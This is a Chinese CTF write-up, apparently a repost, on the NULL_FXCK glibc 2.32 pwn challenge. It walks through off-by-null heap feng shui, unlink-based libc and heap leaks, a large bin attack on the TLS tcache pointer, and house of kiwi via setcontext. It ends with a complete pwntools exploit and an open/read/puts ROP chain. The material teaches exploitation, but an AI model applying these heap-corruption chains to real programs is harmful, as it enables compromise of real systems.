<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從PWN題NULL_FXCK中學到的glibc知識

    VSole2022-07-30 16:30:44

    這題的風水堪稱一絕,然后涉及的利用也非常新穎——house of kiwi在一年前來說可以說非常新鮮了,在今天衍生出的emma也是高版本主流的打法。

    版本:

    沙箱:

    發現禁了execve,那就只能orw了。

    保護:

    ida

    相信都開始研究這道題的各位師傅逆向都沒有問題,就截一截ida里面比較重要的幾個東西:

    (1)add的截斷:

     

    雖然從bin中拿出chunk的指針沒有被初始化,但是這個截斷使得我們不能直接泄露libc和堆地址了。

    (2)free禁止了UAF(這個就沒必要截了)

    (3)edit只能執行一次并且存在off_by_null:

    思路

    這里的思路其實有點公式化的味道,就和我們做數學題一樣,都是通過題目給的條件來思考利用的手法

    給了off_by_null就思考會用到堆塊的合并導致的重疊。重疊帶來的好處:

    (1)通過切割堆塊能使我們在合并的堆塊內部任意地址寫main_arena,這個任意地址可能是note數組的一個堆指針的fd,那么我們就可以泄露libc了

    (2)合并的時候的unlink能使得我們在已知堆塊的fd和bk上寫一個堆地址,這樣就可以彌補一開始的截斷帶來的不能泄露堆塊,然后成功泄露出堆塊了

    堆風水泄露libc和堆地址。

    為了達成思路(1)(2)的libc和heap的泄露,需要一個非常細致的堆的布局,首先說說幾個可能遇到的問題:

    (1)合并的時候對堆的fd和bk的檢測:

    free(P)的時候,如果P不是tcache或者fastbin大小的話,就會檢測P的前一個堆塊(低地址)和后一個堆塊(高地址)的使用情況(即它們的后一個堆塊的PREV_INSURE位),如果也是free,就會考慮合并。合并的時候,會檢測除P外的另一個堆塊的fd和bk指針:

    記另一個堆塊為Nfwd=N->fd;bck=N->bk;if(fwd->bk != N || bck->fd !=N) exit(-1);fwd->bk=bck;bck->fd=fwd;
    

    上面的代碼大致表示了unlink的過程。

    之前做過的unlink都是已知了堆地址,然后unlink環節將fd和bk全都設置為N自身,達到繞過檢測的目的。

    這題比較厲害的地方就是,在不知道堆地址的情況下實現的unlink:

    (1)首先通過將堆塊放入unsorted bin(下面簡稱ub)將一個堆塊的fd和bk分別寫上不同的堆地址:

    先add(0~6)然后delet(0,3,5),堆的布局如下圖:

    發現堆塊3就是一個bk和fd都有堆指針的堆塊了,后續考慮一個堆塊向上與3合并。那么我們就要先修改3的size,如何修改呢?

    delet(2)導致2和3在ub里發生合并,重新申請一個大小大于2的堆塊就能修改3的size了。我們直接將3的size設置的很大,使得3的next_chunk指向top_chunk,因為考慮新生成堆塊7并且edit(6)進行off_by_null修改7的pre_size和size的PREV_INSURE,這樣delet堆塊7就能向上和3合并了

    但我們發現,合并的時候會報錯,這是因為我們沒有繞過unlink里面的檢查,也就是沒有成功設置好5和0的fd和bk。

    我們發現,切割2和3合并的堆塊會有一個剩下的堆塊我們記作L。L的地址和3離得很近,可能就是低兩位不同。如果,3的低兩位是'\x00',我們就通過將L和0放入unsorted bin 設置bk指針。

    把L和5放入large bin設置fd指針(放入ub的話取出的時候目標堆塊的fd指針會變),在申請0和5的時候,觸發add中的截斷,就能夠在fd或bk上設置好3的地址,繞過unlink的檢查完成合并。

    合并好后,我們就可以通過切割堆塊,在4的fd指針上布局main_arena。不過一開始的main_arena應該是以'\x00'結尾的,還是不能泄露。通過add一個大堆塊放入largebin就好了,這樣show(4)就能夠泄露libc了。

    同時unlink也會使得0的bk指針為5,5的fd指針為0,show其中任何一個都能泄露堆塊。

    house of kiwi

    發現這題中的exit被換成了_exit,而_exit是不會存在house of pig里面的那條鏈子的,它直接就是一個exit的系統調用然后程序就結束了,所以任何打exit的鏈子都不能直接拿來用。遇到這種問題,有的師傅就開辟了一條名為house of kiwi的鏈子。

    主要是打__malloc_assert斷言,有一個位于_IO_file_jumps+0x60的穩定的跳轉指針sync和穩定的rdx——_IO_helper_jumps,而且這兩個地方在gdb里都是有符號表的(比banana好找多了2333):

    那么我們通過兩次任意地址寫就行了?非也。因為還需要觸發assert

    如何觸發assert?看看malloc.c的源碼,ctrl f輸入"assert",發現有80多個

    這里介紹其中一種做法:

    當top_chunk的大小不夠分配時,則會進入sysmalloc中:

    ......assert ((old_top == initial_top (av) && old_size == 0) ||        ((unsigned long) (old_size) >= MINSIZE &&         prev_inuse (old_top) &&         ((unsigned long) old_end & (pagesize - 1)) == 0));......
    

    發現很多檢測,我們注意到對topchunk的prev_inuse的檢測,只要把topchunk的size位的prev_inuse置為0,申請一個比它大的堆塊就可以觸發了。

    我們發現,至少需要改三個地址,也就是執行三次任意地址寫。從這道題的嚴苛條件,不能用tcache poison等簡單手法。

    TLS段tcache struct attack

    我們都知道,malloc_init會在heapbase段開設一個內存用于管理tcache。而這個管理tcache的地址,是可以從heapbase被我們劫持到另一個地方的,這是因為實際尋找的時候,是找到TLS段的管理tcache的地址,只不過malloc_init函數預設成了heapbase+0x10而已(注意,是heapbase+0x10而不是heapbase),我們可以在gdb中找到這段區域:

    通過largebin attack劫持這段為可控堆塊,在上面布置任何我們想寫的東西,malloc對應位置size大小就能夠申請出來并且改寫了(這里的偏移要調一調,不過也可以拿exp的模板直接來用,也就是)

    通過改穩定的跳表sync為setcontext+61(因為setcontext會將[rdx+0xa0]設置為rsp,將[rdx+0xa8]設置為rip),將穩定的rdx _IO_helper_jumps設置為_IO_helper_jumps+0xa0為存orw鏈,+0xa8為ret指令,并改top_chunk的size,然后申請一個比它的size大的堆塊觸發assert就可get_shell了

    總結

    這道題考察了高版本的off_by_null,large bin attack,house of kiwi , TLS attack。雖然很折磨,但是是不可否認的好題,能讓第二次接觸2.31以上版本的我學到不少東西。

    exp

    from pwn import *from hashlib import sha256import base64context.log_level='debug'#context.arch = 'amd64'context.arch = 'amd64'context.os = 'linux'def proof_of_work(sh):    sh.recvuntil(" == ")    cipher = sh.recvline().strip().decode("utf8")    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')    sh.sendlineafter("input your ????>", proof)##r=remote("123.57.69.203",7010)##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"}) ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; def z():    gdb.attach(r) def cho(num):    r.sendafter(">> ",str(num)) def add(size,content='\x00'):    cho(1)    r.sendlineafter("Size: ",str(size))    r.sendafter("Content: ",content) def edit(idx,con):    cho(2)    r.sendlineafter("Index: ",str(idx))    r.sendafter("Content: ",con) def show(idx):    cho(4)    r.sendlineafter("Index: ",str(idx)) def delet(idx):    cho(3)    r.sendlineafter("Index: ",str(idx)) def exp():    global r    global libc    libc=ELF('./libc-2.32.so')    r=process('./main')     ##[+]: fengshui 2 leak    add(0x418) #0    add(0x1f8) #1    add(0x428) #2    add(0x438) #3    add(0x208) #4    add(0x428) #5    add(0x208) #6     delet(0)    delet(3)    delet(5)    delet(2)    ##z()    add(0x440,0x428*'a'+p64(0xc91)) #0     add(0x418) #3 0x2b0    add(0x418) #2    add(0x428) #5 0x370    ##z()    delet(3)    delet(2)    ##z()    add(0x418,'a'*9) #2    add(0x418) #3    delet(3)    delet(5)    add(0x9f8) #3    ##z()    add(0x428,'a') #5    edit(6,0x200*'a'+p64(0xc90)+'\x00')    add(0x418) #7    ##z()    add(0x208) #8    ##z()    delet(3)    add(0x430,flat(0,0,0,p64(0x421))) #3    add(0x1600) #9    ##z()    show(4)    libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x1e4230    log.success('libcbase:'+hex(libcbase))    show(5)    heap=u64(r.recv(6).ljust(8,'\x00'))-0x2b0    log.success('heap:'+hex(heap))     ##[+]: set libc func    IO_file_jumps=0x1e54c0+libcbase    IO_helper_jumps=0x1e48c0+libcbase    setcontext=libcbase+libc.sym['setcontext']    open_addr=libcbase+libc.sym['open']    read_addr=libcbase+libc.sym['read']    puts_addr=libcbase+libc.sym['puts']    pop_rdi_ret=libcbase+0x2858f    pop_rsi_ret=libcbase+0x2ac3f    pop_rdx_pop_rbx_ret=libcbase+0x1597d6    ret=libcbase+0x26699    ##[+]: large bin attack to reset TLS    ##z()    ##edit(4,p64(libcbase+0x1e4230)+)     ##[+]: orw    target=heap+0x8e0    flag_addr = heap + 0x8e0 + 0x100    chain = flat(    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,    pop_rdi_ret , flag_addr , puts_addr    ).ljust(0x100,'\x00') + 'flag\x00'     TLS=libcbase-0x2908    add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01))    delet(0)    add(0x440,chain)    ##z()    add(0x418) #11    add(0x208) #12    delet(5)    delet(4)    add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)+p64(TLS-0x20))#4    delet(11)    ##z()    add(0x500)    ##z()    add(0x410)    delet(4)    add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)*2)    pd='\x01'*0x70    pd=pd.ljust(0xe8,'\x00')+p64(IO_file_jumps+0x60)    pd=pd.ljust(0x168,'\x00')+p64(IO_helper_jumps+0xa0)+p64(heap+0x46f0)    add(0x420,pd) #13    add(0x100,p64(setcontext+61))    add(0x200,p64(target)+p64(ret))    add(0x210,p64(0)+p64(0x910))    z()    add(0x1000)    ##z()    r.recvuntil('flag')    string=r.recvuntil('}')    flag='flag'+string    print(flag)    show(5)    r.interactive() if __name__ == '__main__':    exp()     ##setcontext and orw    ''''    orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)    orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)    orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)    orw+=p64(0xdeadbeef)    pd=p64(gold_key)+p64(free_hook)    pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'    pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw    r.sendafter(">>",pd)    flag=r.recvline()    ''
    
    glibcfd
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    終于抽出時間對glibc動態內存管理部分源碼進行初略的探究,試著從源碼和動調來分析free函數執行過程和一些pwn的攻擊技巧,分析的不是很全面,有錯誤的地方望提出指正,共同進步。
    前言本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc下常見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
    House of Cat5月份偶然發現的一種新型GLIBC中IO利用思路,目前適用于任何版本,命名為House of cat并出在2022強網杯中。但是需要攻擊位于TLS的_pointer_chk_guard,并且遠程可能需要爆破TLS偏移。并且house of cat在FSOP的情況下也是可行的,只需修改虛表指針的偏移來調用_IO_wfile_seekoff即可。vtable檢查在glibc2.24以后加入了對虛函數的檢測,在調用虛函數之前首先會檢查虛函數地址的合法性。
    雖然從bin中拿出chunk的指針沒有被初始化,但是這個截斷使得我們不能直接泄露libc和堆地址了。
    程序分析這里只進行一些簡單的分析,其他的博客分析的很詳細了。
    然而在內核態中,堆內存的分配策略發生了變化。并把這個slab劃分為一個個object,并將這些object組成一個單向鏈表進行管理,這里需要注意slub系統把內存塊當成object看待,而不是伙伴系統中的頁。本次選擇演示的例題是2019-SUCTF的sudrv例題,查看start.sh中的信息可以發現開啟了kaslr保護與smep保護。
    PWN 堆利用 unlink 學習筆記
    有些師傅可能看到這個名字有些陌生,但實際上這已經是一個很早以前就出現的利用方法了,一直適用到最新的 GLIBC 中。
    前置知識UAF,異或加密,hook利用版本新增保護介紹2.33版本的glibc不同于以往,對于堆塊地址的釋放之后,對于同一大小的fastbin以及tcache有效的fd永遠只有一個,剩余的bin照舊。對于2.33版本下對于fastbin以及tcache的fd指針會被進行異或操作加密,用來異或的值隨堆地址發生改變。
    pwnhub 9月公開賽
    2021-10-03 17:08:04
    pwnhub 9月公開賽
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类